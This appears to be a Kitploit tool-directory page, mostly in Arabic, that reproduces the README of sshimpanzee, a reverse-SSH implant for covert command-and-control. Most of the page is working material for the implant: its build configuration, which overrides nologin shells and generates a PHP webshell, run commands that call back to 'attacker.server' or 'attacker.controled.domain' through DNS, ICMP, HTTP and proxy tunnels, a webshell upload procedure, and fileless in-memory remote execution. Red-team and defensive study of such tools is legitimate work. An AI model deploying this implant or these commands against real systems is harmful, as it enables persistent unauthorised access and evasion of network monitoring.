Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
sshimpanzee — زرع مبني على SSHD يدعم آليات النفق للوصول إلى C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...) | Kitploit
أدوات/GitHubGitHub/lexfo/sshimpanzee
توليد الحمولةما بعد الاستغلالأمن الشبكاتالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتحليل DNS
GitHublexfo/sshimpanzee

sshimpanzee

زرع مبني على SSHD يدعم آليات النفق للوصول إلى C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)

عرض المستودع
29329منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Sshimpanzee

Sshimpanzee تتيح لك بناء خادم ssh عكسي ثابت. بدلاً من الاستماع على منفذ وانتظار الاتصالات، سيبادر خادم ssh بالاتصال العكسي بعنوان IP الخاص بالمهاجم، تمامًا مثل الصدفة العكسية العادية. Sshimpanzee تتيح لك الاستفادة من جميع ميزات اتصال ssh العادي، مثل إعادة توجيه المنافذ، ووكلاء SOCKS الديناميكيين، أو خادم FTP.

الأهم من ذلك، إذا لم يكن الاتصال المباشر من جهاز الضحية إلى خادم المهاجم ممكنًا، فإنها توفر آليات نفق مختلفة مثل نفق DNS، نفق ICMP، أو تغليف HTTP. كما أنها تدعم وكلاء HTTP و SOCKS5. تتوفر ورقة تقنية على مدونة lexfo.

بناء Docker - موصى به

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

قد تحتاج إلى تمكين متغير البيئة DOCKER_BUILDKIT=1

ملف التجميع

يتم البناء بناءً على ملف build.yaml:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

الاستخدام

في وقت التشغيل، يتم تكوين ثنائي sshimpanzee من خلال متغيرات البيئة. يسمح متغير MODE للمستخدم بالاختيار بين الأنفاق المترجمة. يمكن تكوين كل نفق من خلال متغيرات البيئة. على سبيل المثال، للحصول على اتصال عكسي كلاسيكي إلى 127.0.0.1:8080 استخدم ما يلي:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

من الممكن تشغيل sshimpanzee في وضع التصحيح باستخدام -d. في وضع التصحيح، سيبقى sshimpanzee في المقدمة.

الأنفاق

يدعم sshimpanzee حاليًا عدة طرق للوصول إلى عميل ssh الخاص بالمهاجم:

  • نفق DNS باستخدام بروتوكول dns2tcp
  • وكيل: HTTP/SOCKS4/SOCKS5
  • مآخذ: (قد تكون مفيدة إذا كنت ترغب في تنفيذ أنفاقك الخاصة)
  • نفق ICMP
  • تغليف HTTP

اتصال المقبس

  1. قم بتشغيل ssh على جانب العميل كما يلي:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. قم بتشغيل sshimpanzee على الهدف :
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

أمثلة أخرى :

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

الاتصال عبر وكيل

  1. قم بتشغيل ssh على جانب العميل كما يلي:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. قم بتشغيل sshimpanzee على الهدف :
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

أمثلة أخرى:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

استخدام نفق DNS

  1. على الخادم الخاص بك، قم بتشغيل dns2tcpd القياسي باستخدام ملف التكوين في هذا المستودع، ستحتاج إلى تعديل النطاق (ومنفذ المورد إذا أردت).
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. قم بتشغيل ssh على جانب العميل كما يلي:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. قم بتشغيل ثنائي sshimpanzee:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

أمثلة أخرى :

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

استخدام نفق ICMP

  1. على الخادم الخاص بك، أضف الصلاحيات الصحيحة لتجنب تشغيل proxycommand كجذر وتعطيل استجابة ping من النظام
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. قم بتشغيل عميل ssh القياسي مع icmptunnel كـ proxycommand:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. قم بتشغيل ثنائي sshimpanzee:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

استخدام تغليف HTTP (ssh -> خادم http -> sshd)

  1. قم برفع ملف /tuns/http_enc/proxy.php وملفات sshd إلى خادم الويب الهدف

  2. تأكد من تنفيذ proxy.php بشكل صحيح

  3. قم بتشغيل ثنائي sshd على خادم الويب

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. قم بتشغيل ssh على جهاز العميل باستخدام سكريبت بايثون في utils/scripts/ كأمر وكيل:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

يمكن تمرير عدة وسائط إلى proxy_cli.py لإضافة وكلاء. حاليًا يتم دعم PHP فقط. على خادم JSP، يوصى باستخدام: A Black Path Toward The Sun (ABPTTS)

ملاحظات جانبية حول تغليف HTTP

  1. Proxy.php عبارة عن واجهة ويب صغيرة، يمكنك استخدامها لرفع sshd إلى الخادم وتشغيل الأوامر. يوفر proxy_cli.py خيارات --run و --drop للقيام بذلك.

  2. قد تواجه تأخرًا كبيرًا في الإدخال، وذلك لأنه يتم إضافة تأخير من 1 إلى 5 ثوانٍ إلى الحزمة المرسلة من قبل عميل ssh لمنع توليد عدد كبير جدًا من طلبات HTTP. إذا كنت لا تمانع في توليد الكثير من طلبات HTTP (وبالتالي الكثير من السجلات على خادم الويب) أضف الخيار --no-buffer إلى أمر proxy_cli.py.

استخدام عميل sshimpanzee

يوفر هذا المستودع أيضًا عميلًا موجودًا في utils/client/bin. ما عليك سوى نسخ مفتاح CLIENT في utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

ومع ذلك، قد يكون أقل موثوقية من استخدام ssh مباشرة.

إنشاء آلية النفق الخاصة بك

جميع الأنفاق متاحة في دليل tuns/. إذا كنت ترغب في إضافة نفق آخر، ما عليك سوى إضافة دالة باسم النفق الخاص بك في tuns/builder.py. هذه الدالة مسؤولة عن إنشاء أرشيف libtun.a يحتوي على العدد اللازم من ملفات .o مع قيام أحدها بتصدير رمز tun(). بدلاً من ذلك، يمكنك بناء libtun.a بنفسك واستخدام النفق المسمى no_build، وتوفير المسار إلى libtun.a المخصص.

استخدام التنفيذ بدون ملف

إذا تم بناء sshimpanzee مع وحدة subsystem remote-exec، فمن الممكن تنفيذ الكود عن بعد بالكامل في الذاكرة.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

العمل المستقبلي

  • إضافة أنفاق أخرى:
    • تغليف HTTP (الخطوة الأولى عبر http_enc و proxy.php: إضافة JSP وبرامج أخرى)
    • مكدس TCP/IP في مساحة المستخدم مع مقبس خام؟
    • ICMP: تشفير/XOR السلسلة لتجنب الكشف في حالة تحليل الشبكة
    • نظام فرعي للاستغلال اللاحق:
      • تفريغ العملية
      • فحص TCP

شكر وتقدير

يعتمد هذا المستودع على العديد من المشاريع المختلفة.

  • أولاً وقبل كل شيء، Openssh-portable (9.1): https://github.com/openssh/openssh-portable
  • مكتبة musl libc لبنائها بشكل ثابت: https://wiki.musl-libc.org/

بالنسبة للأنفاق:

  • Dns2tcp: https://github.com/alex-sector/dns2tcp
  • icmptunnel (تم تعديله بشكل كبير لتحسين مرونة النفق): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket: https://github.com/brechtsanders/proxysocket

من المهم ملاحظة أنه ليس مشروعًا أصليًا جدًا، فقد تم تسليح بروتوكول ssh منذ عدة سنوات:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
تنزيل الأداة